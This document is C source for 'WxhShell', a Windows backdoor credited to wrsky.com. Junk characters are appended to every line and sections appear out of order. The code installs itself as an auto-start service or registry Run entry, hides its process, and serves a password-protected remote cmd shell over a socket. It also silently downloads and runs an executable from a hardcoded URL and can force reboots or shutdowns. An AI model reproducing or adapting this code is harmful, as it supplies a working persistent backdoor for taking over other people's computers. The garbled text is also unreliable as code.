    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dq5f?w]  
    else { A3M)yWq  
    closesocket(wsh); 0m51nw~B  
    ExitThread(0); a"#5JcR3  
    } j.AAY?L  
    break; <7?MutHM-  
    } H }</a%y  
  // 获取shell iMJjWkk  
  case 's': { %UgyGQeo  
    CmdShell(wsh); LxsB.jb-  
    closesocket(wsh); Ed_A#@V  
    ExitThread(0); TpZ)v.w~l7  
    break; Tx],- U  
  } u=RF6V|  
  // 退出 =;^2#UxXA&  
  case 'x': { ]7c715@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;Fp"]z!Qh+  
    CloseIt(wsh); '.d el7s  
    break; au0)yg*V1  
    } >qAQNX  
  // 离开 NWv1g{M  
  case 'q': { :;)K>g,b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UT]LF#.(  
    closesocket(wsh); #Z (B4YO  
    WSACleanup(); LI"ghz=F  
    exit(1); & 7JCPw  
    break; 95?$O~I  
        } gbQrSJs!Zh  
  } ix*n<lCoC  
  } dM#\h*:=  
o!\Vk~Vi&  
  // 提示信息 A GS?<6W-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hco [p+  
} M(I 2M  
  } g2w0#-  
b@z/6y!  
  return; hPD2/M  
} dhsQfWg#}  
}3=]1jH6  
// shell模块句柄 ),dXaP[  
int CmdShell(SOCKET sock) R279=sO,J  
{ d,+d8X  
STARTUPINFO si; >g8Tl`P,iN  
ZeroMemory(&si,sizeof(si)); *%\z#Bje@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |BF4 F5wC?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m~#98ZJ^  
PROCESS_INFORMATION ProcessInfo; NR^z!+oSR  
char cmdline[]="cmd"; T+N%KRl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V 7%rKK  
  return 0; 97'*Xq  
} |V%Qp5 XJ  
I tp7X  
// 自身启动模式 ;la(Q~#  
int StartFromService(void) G W|~sE +  
{ NFU 5+X-c  
typedef struct LIirOf~e;!  
{ qmv%N  
  DWORD ExitStatus; Da)9s %_4  
  DWORD PebBaseAddress; &37QUdp+p  
  DWORD AffinityMask; }_:^&cT  
  DWORD BasePriority; IGOqV>;  
  ULONG UniqueProcessId; %j{gZTz-  
  ULONG InheritedFromUniqueProcessId; Rco#?'  
}   PROCESS_BASIC_INFORMATION; ;~#rd L  
oG3>lqBwD2  
PROCNTQSIP NtQueryInformationProcess; k0!b@ c  
Mm+_>   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 50Pz+:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q V4{=1A  
v; &-]ka  
  HANDLE             hProcess; e>z3 \4  
  PROCESS_BASIC_INFORMATION pbi; pDrM8)r  
ORyFE:p$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8;-a_VjA)  
  if(NULL == hInst ) return 0; &0*j nb  
x.xfMM2n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D CcM~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '8}*erAg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ja#E}`wC4  
W;eHDQ|  
  if (!NtQueryInformationProcess) return 0; W`C2zbC  
^ejU=0+cN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Z}A+Rv+*m  
  if(!hProcess) return 0; XGbtmmQG  
Qt+ K,LY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?8)_,  
Qf6Vj,~N  
  CloseHandle(hProcess); gle_~es'K  
aS-rRL|\L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BD\xUjd?)Q  
if(hProcess==NULL) return 0; TmvI+AY/  
sas;<yh  
HMODULE hMod; - b:&ACY  
char procName[255]; B9&"/tT  
unsigned long cbNeeded; 9~SfZ,(  
A<ur20   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wFnIM2a,  
?m}vDd  
  CloseHandle(hProcess); Q]uxZ;}aF  
`h+sSIko  
if(strstr(procName,"services")) return 1; // 以服务启动 !X e  
TG=) KS  
  return 0; // 注册表启动 `lRZQ:27X  
} F%UyFUz  
N~=p+Ow[H  
// 主模块 ts<5%{M(  
int StartWxhshell(LPSTR lpCmdLine) CC;T[b&  
{ c0sU1:e0  
  SOCKET wsl; C1:efa<wV  
BOOL val=TRUE; `$ql>k-6C  
  int port=0; ogtKj"a  
  struct sockaddr_in door; 4@&8jZ)a  
'j 'bhG  
  if(wscfg.ws_autoins) Install();  {F+7> X  
}q^M  
port=atoi(lpCmdLine); /U4F\pZl  
se:]F/  
if(port<=0) port=wscfg.ws_port; /bjyV]N  
NldeD2~H  
  WSADATA data; =6y4*f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WZOi,  
p-POg%|&<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LBh|4S$K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rwWs\~.H  
  door.sin_family = AF_INET; :aS8%m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F4xYfbwY"]  
  door.sin_port = htons(port); R^.E";/h  
k|(uIU* ]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F *_g3K!!  
closesocket(wsl); xc7Wk&{=  
return 1; wR@&C\}9  
} $!h21  
<7NY.zvwk]  
  if(listen(wsl,2) == INVALID_SOCKET) { ae`*0wbv  
closesocket(wsl); :P1 J>dcG  
return 1; _z4c7_H3  
} ^oDCF  
  Wxhshell(wsl);  yr9%,wwN  
  WSACleanup(); W3Oj6R  
fjVGps$ j  
return 0; (RW02%`jjy  
kTZ`RW&0  
} ]a F,r"  
+Wrj%}+  
// 以NT服务方式启动 ,_ }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3)b[C&`  
{ "xe %  IS  
DWORD   status = 0; A\nL(Nd  
  DWORD   specificError = 0xfffffff; ;.>CDt-E]  
r%\(5H f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $ lz\t e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *8{PoD   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ByqB4Hv2  
  serviceStatus.dwWin32ExitCode     = 0; wqEO+7)S  
  serviceStatus.dwServiceSpecificExitCode = 0; f_2tMiy 5  
  serviceStatus.dwCheckPoint       = 0; P(D0ru  
  serviceStatus.dwWaitHint       = 0; IhoV80b  
s tvI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yxP(|  
  if (hServiceStatusHandle==0) return; n]c6nX:'  
0%$E^`  
status = GetLastError(); {>$i)B  
  if (status!=NO_ERROR) o?%1^6&HE  
{ X%w`:c&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1W*%}!&Gm  
    serviceStatus.dwCheckPoint       = 0; VSns_>o  
    serviceStatus.dwWaitHint       = 0; Y%eFXYk.  
    serviceStatus.dwWin32ExitCode     = status; `}<x"f7.z  
    serviceStatus.dwServiceSpecificExitCode = specificError; @Cg%7AF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z7>pz:,  
    return; jYE<d&Cq  
  } ,kS3Ioj  
M+4>l\   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fl%X>\i/7  
  serviceStatus.dwCheckPoint       = 0; {6d)|';%  
  serviceStatus.dwWaitHint       = 0; vcm66J.14  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8s^CE[TA  
} l-4+{6lz  
fP<Tvf  
// 处理NT服务事件,比如:启动、停止 iG*@(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i8t%v  
{ mNhVLB  
switch(fdwControl) .H;[s  
{ Vm\ly;v'R  
case SERVICE_CONTROL_STOP: QCjC|T9  
  serviceStatus.dwWin32ExitCode = 0; 5~)m6]-6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H809gm3(Z  
  serviceStatus.dwCheckPoint   = 0; %N``EnF2  
  serviceStatus.dwWaitHint     = 0; 6xI9 %YDy  
  { 2UqLV^ZY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EMK>7 aks  
  } B. '&[A  
  return; "*E06=fiG  
case SERVICE_CONTROL_PAUSE: YhQ;>Ko  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {-?^j{O0.  
  break; -CePtq`  
case SERVICE_CONTROL_CONTINUE: .&Tcds  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N<XS-XB,  
  break; v',%   
case SERVICE_CONTROL_INTERROGATE: R<wPO-dX  
  break; BCUn[4Gp  
}; /~=W3lhY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [H"\<"1o  
} mIk8hA@B_  
a@+n  
// 标准应用程序主函数 W`auQO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cPu<:<F[  
{ 0i%r+_E_  
SbrKNADH%  
// 获取操作系统版本 9*`(*>S  
OsIsNt=GetOsVer(); /XEt2,sI9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qRk<1.  
+q*Cw>t /  
  // 从命令行安装 B+)HDIPa-  
  if(strpbrk(lpCmdLine,"iI")) Install(); G_m$W3 zS  
V!^5#A<  
  // 下载执行文件 :&59N^So|  
if(wscfg.ws_downexe) { VAGQR&T?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lmp_8q-Ej  
  WinExec(wscfg.ws_filenam,SW_HIDE); YC,s]~[[   
} (tY0/s  
uB&um*DP  
if(!OsIsNt) { RQg7vv]%  
// 如果时win9x,隐藏进程并且设置为注册表启动 5SOl:{A +  
HideProc(); 1^R[kaY  
StartWxhshell(lpCmdLine); v2ab  
} QY)hMo=|o8  
else PRTn~!Z0  
  if(StartFromService()) ePD~SO9*  
  // 以服务方式启动 J%9)&a W  
  StartServiceCtrlDispatcher(DispatchTable); yxz)32B?  
else <,:p?36  
  // 普通方式启动 Xu[(hT6  
  StartWxhshell(lpCmdLine); qhE1 7Hf  
8 16OV  
return 0; w^/jlddF  
} #Cy9E"lP  
[9c|!w^F  
c}$C=s5 h}  
l:'\3-2a  
=========================================== a%FM)/oI|T  
0-VC$)S  
Y:;]qoF  
]?1n-w.}r  
L+GVB[@3Y  
JJE3\  
" T ?HG}(2  
q`u^ sc  
#include <stdio.h> Ja`xG{~Y7i  
#include <string.h> #gQaNc?  
#include <windows.h> h! yI(cY  
#include <winsock2.h> %qI.Qw$  
#include <winsvc.h> sfo+B$4|  
#include <urlmon.h> TAE@KSPvo  
}I )%Gw  
#pragma comment (lib, "Ws2_32.lib") |O!G[|/3  
#pragma comment (lib, "urlmon.lib") kuX{2h*`  
q2SlK8`QJ  
#define MAX_USER   100 // 最大客户端连接数 bxXNv^  
#define BUF_SOCK   200 // sock buffer s+omCr|H;A  
#define KEY_BUFF   255 // 输入 buffer \jHHj\LLr.  
+xL*`fn  
#define REBOOT     0   // 重启 q$ZmR]p  
#define SHUTDOWN   1   // 关机 &N+i3l6`  
V]{^}AKc  
#define DEF_PORT   5000 // 监听端口 Zb? u'Vm=u  
tjId?}\  
#define REG_LEN     16   // 注册表键长度 jeu|9{iTVu  
#define SVC_LEN     80   // NT服务名长度 p#QR^|7"  
#'qDNY@w}  
// 从dll定义API B)v|A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `<oNEr+#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LA9'HC(5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $eSSW+8q"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); To!` T$Xh  
g##yR/L  
// wxhshell配置信息 QT<\E`v  
struct WSCFG { f6$$e+  
  int ws_port;         // 监听端口 \OlB (%E7  
  char ws_passstr[REG_LEN]; // 口令 9CNeMoA$p:  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dr oa1_FX  
  char ws_regname[REG_LEN]; // 注册表键名 `|2p1Ei  
  char ws_svcname[REG_LEN]; // 服务名 zKllwIf i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9!>Ks8'.d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \GP0FdpV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .{8?eze[m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XusTU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T=W;k<P\k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s` $YY_  
mzGMYi*  
}; 0nu&JQ  
3!*qB-d  
// default Wxhshell configuration L8{4>,  
struct WSCFG wscfg={DEF_PORT, #-<n@qNg[  
    "xuhuanlingzhe", RF|r@/S  
    1, 4))5l9kc.  
    "Wxhshell", *U}cj A:ZN  
    "Wxhshell", W|I<hY\X  
            "WxhShell Service", :G8:b.  
    "Wrsky Windows CmdShell Service", ]IM/R@  
    "Please Input Your Password: ", E=&":I6O  
  1, 04E S>'@  
  "http://www.wrsky.com/wxhshell.exe", CU+H`-+"J  
  "Wxhshell.exe" tZz *O%  
    }; %8hx3N8>  
PJn|  
// 消息定义模块 eelkK,4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c`agrS:P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b+tm[@|,v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dm~Uj  
char *msg_ws_ext="\n\rExit."; gK_#R]  
char *msg_ws_end="\n\rQuit."; b.#0{*/G  
char *msg_ws_boot="\n\rReboot..."; "">{8  
char *msg_ws_poff="\n\rShutdown..."; >V$ S\"  
char *msg_ws_down="\n\rSave to "; o ?`LZd:{  
tm|YUat$]r  
char *msg_ws_err="\n\rErr!"; tW[dJKw  
char *msg_ws_ok="\n\rOK!"; MD+e!A#o  
HbZFL*2x3  
char ExeFile[MAX_PATH]; y8Oz4|  
int nUser = 0; T$&vk#qr  
HANDLE handles[MAX_USER]; KfkU_0R+~v  
int OsIsNt; vo!QJ  
9 .3?$(  
SERVICE_STATUS       serviceStatus; 6Q~(ibKx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KGP*G BZr  
LKsK!X  
// 函数声明 mrGfu:r  
int Install(void); >MLP mER  
int Uninstall(void); D6vhW:t8?  
int DownloadFile(char *sURL, SOCKET wsh); w^=uq3X?  
int Boot(int flag); M=t;t0  
void HideProc(void); :\cid]y3  
int GetOsVer(void); qbq.r&F&  
int Wxhshell(SOCKET wsl); >E\U$}WCG  
void TalkWithClient(void *cs); "59"HVV  
int CmdShell(SOCKET sock); ]x1o (~  
int StartFromService(void); SFkB,)Z N  
int StartWxhshell(LPSTR lpCmdLine); $X ]t}=  
go!jx6~;x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hEk0MY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,b,t^xX>)  
Y0;66bfh}  
// 数据结构和表定义 GbfA-\  
SERVICE_TABLE_ENTRY DispatchTable[] = r3mmi5   
{ MnB Hm!]&  
{wscfg.ws_svcname, NTServiceMain}, R^Y>v5jAe  
{NULL, NULL} F [S'l  
}; Prqr,  
SG{&2G  
// 自我安装 <gLq?~e|A  
int Install(void) V: P   
{ ]r@CmwC  
  char svExeFile[MAX_PATH]; $l/w.z  
  HKEY key; %Y-KjSs+l  
  strcpy(svExeFile,ExeFile); =`/GB T$  
C)(/NGf  
// 如果是win9x系统,修改注册表设为自启动 !9]q+XefJ  
if(!OsIsNt) { :P?zy|aBi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [+(fN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c1}i|7/XSi  
  RegCloseKey(key); ~aL&,0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +T8]R7b9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B"3uuk8  
  RegCloseKey(key); * amZ  
  return 0; ;9)A+bD]  
    } j%ux,0Y  
  } 8<_dNt'91  
} HbMD5(  
else { <Url&Z  
7$A=|/'nSA  
// 如果是NT以上系统,安装为系统服务 -/LB-t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #]}]ZE  
if (schSCManager!=0) (P|k$S?m  
{ FKU)# Eo  
  SC_HANDLE schService = CreateService &.chqP(|  
  ( ueu=$.^;g  
  schSCManager, ~^v*f   
  wscfg.ws_svcname, / 0y5/  
  wscfg.ws_svcdisp, J"?jaa2~  
  SERVICE_ALL_ACCESS, 4)].{Z4 q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y=(%t:#_  
  SERVICE_AUTO_START, (5efNugc  
  SERVICE_ERROR_NORMAL, # |^yWw^  
  svExeFile, VdE$ig@  
  NULL, M2piJ'T4u  
  NULL, W&p f%?  
  NULL, !+Zso&  
  NULL, mt]50}eK  
  NULL ?(E?oJ)(  
  ); ^Kj xQO6y3  
  if (schService!=0) JK^pb0ih  
  { 2U rE>_  
  CloseServiceHandle(schService); a{+;&j[!  
  CloseServiceHandle(schSCManager); y2:Bv2}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tr$d?  
  strcat(svExeFile,wscfg.ws_svcname); |v@ zyOq&b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CooOBk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o>MB8[r  
  RegCloseKey(key); TykY>cl   
  return 0; *$9Rb2}kK  
    } gjc[\"0a5h  
  } mExJ--}  
  CloseServiceHandle(schSCManager); C`b)}dY  
} T~)zgu%q_  
} (F'?c1  
4{#0ci{  
return 1; ?Suv.!wfLl  
} eDL0Vw  
s,]z6L0  
// 自我卸载 r)Fd3)e   
int Uninstall(void) ,Laz515  
{ 4S*7*ak{  
  HKEY key; L,* #  
?Y'r=Q{w  
if(!OsIsNt) { e*hCf5=-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rkh ^|_<!  
  RegDeleteValue(key,wscfg.ws_regname); 2X|nPhNi  
  RegCloseKey(key); mmBZ}V+&=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fp'%lbk=  
  RegDeleteValue(key,wscfg.ws_regname); U'Fc\M5l/l  
  RegCloseKey(key); "j%L*J)  
  return 0; %nT&  
  } [K#pU:lTH  
} 02mu%|"  
} C.Re*;EI,  
else { f$]ttU U  
CV7%ud]E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2hF j+Ay  
if (schSCManager!=0) cDqj&:$e  
{ Z$2Vd`XP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); # PZBh  
  if (schService!=0) T(iL#2^  
  { UVaz,bXla  
  if(DeleteService(schService)!=0) { m_,j)A%  
  CloseServiceHandle(schService); Wm>AR? b  
  CloseServiceHandle(schSCManager); <n)R?P(or  
  return 0; *&vi3#ur  
  } } f+hB  
  CloseServiceHandle(schService); H`Ld,E2ex&  
  } z+F:_  
  CloseServiceHandle(schSCManager); ?&se]\  
} OvtiFN^s'  
} ^9xsbv B0  
62{[)jt{  
return 1; kJ:zMVN  
} HK!Vd_&9,  
Z=CY6Zu7  
// 从指定url下载文件 2mVLR;s{_  
int DownloadFile(char *sURL, SOCKET wsh) {#J1D*?$"  
{ AAld2"r  
  HRESULT hr; 70{fl 4J5  
char seps[]= "/"; 5"8R|NU:\0  
char *token; lp%i%*EQ*  
char *file; <|_b:  
char myURL[MAX_PATH]; )uIH onXU  
char myFILE[MAX_PATH]; z]F4Z'(e.  
7z4u?>pne*  
strcpy(myURL,sURL); I0]"o#Lj T  
  token=strtok(myURL,seps); {qkd63 X  
  while(token!=NULL) o= N_0.  
  { ,Jh('r7  
    file=token; HRZ3}8Qj  
  token=strtok(NULL,seps); b6~MRfx`7  
  } {glRX R  
&+>)H$5  
GetCurrentDirectory(MAX_PATH,myFILE); 6 &)fZt  
strcat(myFILE, "\\"); ."\&;:ZNv  
strcat(myFILE, file); =*?2+ ;  
  send(wsh,myFILE,strlen(myFILE),0); k7ODQ(*v  
send(wsh,"...",3,0); =D6H?K-k!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C>*]a(5k  
  if(hr==S_OK) (Jb[_d*  
return 0; 8ncgTCH:  
else %l8nTcL_?  
return 1; $>mTPNF  
8GD!]t#  
} ]VS$ ?wD  
=\l7k<  
// 系统电源模块 ; (;J  
int Boot(int flag) o4g<[X)  
{ Uv"GG: K_  
  HANDLE hToken; niIjatT  
  TOKEN_PRIVILEGES tkp; 1GL@t?S  
W!G2$e6  
  if(OsIsNt) { pr(16P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CF k^(V"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \XXS;  
    tkp.PrivilegeCount = 1; Z2dy|e(c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RU^lR8;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [F< Tl =  
if(flag==REBOOT) { c(<,qWH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HN*w(bROr  
  return 0; 'hM?J*m  
} _F1{<" 4  
else { }uE8o"q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ghgo"-,#  
  return 0; g)Byd\DS  
} +T@a/(Gl  
  } &JpFt^IHi  
  else { wbaXRvg  
if(flag==REBOOT) { ceu}Lp^%/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \4.U.pKY  
  return 0; r&|-6OQZZ  
} p 8q9:Tz  
else { t $+46**  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OgTE^W@  
  return 0; Ur]~>-Z  
} ]d@@E_s]  
} ~4~-^ t  
Sr`gQ#b@r}  
return 1; ;=.QT  
} _ .%\czO  
M7(vI4V  
// win9x进程隐藏模块 0Up@+R2  
void HideProc(void) G/Xa`4"_  
{ \ l +RX*  
%#Vn?zr|~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zbp ByRyN  
  if ( hKernel != NULL ) !m#cneV  
  { 'sL>U$(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a9q68  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wOy1i/oj  
    FreeLibrary(hKernel); y^gazr"  
  } k]Y#-Q1p~  
`1NxS35u  
return; :I5]|pt  
}  OT9\K_  
{q1&4U~'>O  
// 获取操作系统版本 S4]xxc  
int GetOsVer(void) gq6C6   
{ [Pdm1]":(  
  OSVERSIONINFO winfo; b-{\manH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L30x2\C  
  GetVersionEx(&winfo);  S< <xlW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~7!J/LHg  
  return 1; +SmcZ^\OZ  
  else byv(:xk|'e  
  return 0; HlB'yOHv!  
} D4m2*%M  
X?b]5?K;r  
// 客户端句柄模块 & CiUU  
int Wxhshell(SOCKET wsl) Hm+-gI3*  
{ ,XW6W&vR;  
  SOCKET wsh; Lrr^obc  
  struct sockaddr_in client; 2k[i7Rl \c  
  DWORD myID; '!!w|k d  
*_$%Tv.]  
  while(nUser<MAX_USER) buRXzSR  
{ )Xa`LG =|  
  int nSize=sizeof(client); /c`)Er 6d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }}?L'Vby  
  if(wsh==INVALID_SOCKET) return 1; A>$VkGo  
i_4FxC4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r6Z&i^cMe  
if(handles[nUser]==0) }(-R`.e;  
  closesocket(wsh); #Xri%&~  
else ke~O+]  
  nUser++; _y)#N<  
  } mj<(qZh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {W }.z  
%#NaM\=8v  
  return 0; sb_>D`>  
}  `-4c}T  
0z."6 r  
// 关闭 socket O@3EJkv  
void CloseIt(SOCKET wsh) g!7/iKj:  
{ v|jBRKU99  
closesocket(wsh); A $W,#`E  
nUser--; !wvP 24"y  
ExitThread(0); W k'()N  
} :gb7Py'C  
@5zL4n@w  
// 客户端请求句柄 +J$[RxQ#  
void TalkWithClient(void *cs) F5.Vhg  
{ W)V"QrFK  
[Y*p I&f  
  SOCKET wsh=(SOCKET)cs; d>NElug  
  char pwd[SVC_LEN]; r M'snW)  
  char cmd[KEY_BUFF]; 4NwGP^ n  
char chr[1]; Y{@ez  
int i,j; &^1DNpUZ  
Gw3|"14  
  while (nUser < MAX_USER) { @6ZQkX/  
}Fyf?TZ$T  
if(wscfg.ws_passstr) { hkv&Od,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,g{`M]Ov  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TH)gW  
  //ZeroMemory(pwd,KEY_BUFF); G F,/<R#  
      i=0; G[6V=G  
  while(i<SVC_LEN) { ?`,UW;Br6  
iO3@2J  
  // 设置超时 Tm[IOuhM'?  
  fd_set FdRead; X'ryfa1|  
  struct timeval TimeOut; c^UG}:Y  
  FD_ZERO(&FdRead); BG~h9.c  
  FD_SET(wsh,&FdRead); uFb&WIo1  
  TimeOut.tv_sec=8; _i:yI-jA  
  TimeOut.tv_usec=0; G(|ki9^@"9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {DBgW},  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); . 5|wy<  
E@R7b(:*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  HlPf   
  pwd=chr[0]; N(]6pG=  
  if(chr[0]==0xd || chr[0]==0xa) { W:b8m Xx  
  pwd=0; <;+&`R  
  break; N4}/n  
  } Z|uUE   
  i++; \8=>l?P  
    } !u~( \ Rb;  
Yc/rjEn7O  
  // 如果是非法用户,关闭 socket #G|iEC0C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <y\>[7Y  
} L$l'wz  
G*mk 19Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Aj}s3v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !tmY_[\  
JpD<2Mz_|V  
while(1) { lz faW-nu  
`K~300-hOb  
  ZeroMemory(cmd,KEY_BUFF); ;->(hFJt  
lycY1lK  
      // 自动支持客户端 telnet标准   6jiVz%`=Z  
  j=0; 8"LvkN/v^  
  while(j<KEY_BUFF) { :u`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \$V~kgQ0  
  cmd[j]=chr[0]; z(aei(U=  
  if(chr[0]==0xa || chr[0]==0xd) { y0M^oLx  
  cmd[j]=0; b(I-0<  
  break; (m\PcF  
  } HzF  
  j++; B~V^?."  
    } 41^+T<+  
7<mY{!2iF?  
  // 下载文件 h:<p EL  
  if(strstr(cmd,"http://")) { !BP/#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :7<spd(%"  
  if(DownloadFile(cmd,wsh)) D^]7/w:$-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2}O\A  
  else 7pMrYIP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V?t^ J7{'  
  } 0[7\p\Q  
  else { xD,BlDV  
"b8<C>wY  
    switch(cmd[0]) { z^T/kK3I  
  :&HrOdz  
  // 帮助 _)yn6M'Dt  
  case '?': { vXAO#'4tm%  
